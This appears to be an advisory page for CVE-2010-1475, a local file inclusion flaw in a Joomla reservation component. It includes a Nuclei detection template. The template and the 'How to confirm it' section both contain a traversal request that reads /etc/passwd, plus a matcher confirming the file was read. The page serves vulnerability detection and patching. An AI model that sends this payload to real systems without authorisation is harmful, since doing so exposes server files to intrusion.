CVE-2010-1475· ternaria / com preventive· CWE-22
Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
Impact
The LFI vulnerability can allow an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
Fix
Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability.
How to confirm it
Send: GET {{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2010-1475 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2010-1475
info:
name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
impact: |
The LFI vulnerability can allow an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
remediation: |
Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/12147
- https://nvd.nist.gov/vuln/detail/CVE-2010-1475
- http://www.exploit-db.com/exploits/12147
- https://exchange.xforce.ibmcloud.com/vulnerabilities/57652
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2010-1475
cwe-id: CWE-22
epss-score: 0.09471
epss-percentile: 0.95472
cpe: cpe:2.3:a:ternaria:com_preventive:1.0.5:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ternaria
product: com_preventive
tags: cve,cve2010,edb,joomla,lfi,ternaria,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/12147
- https://nvd.nist.gov/vuln/detail/CVE-2010-1475
- http://www.exploit-db.com/exploits/12147
- https://exchange.xforce.ibmcloud.com/vulnerabilities/57652
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from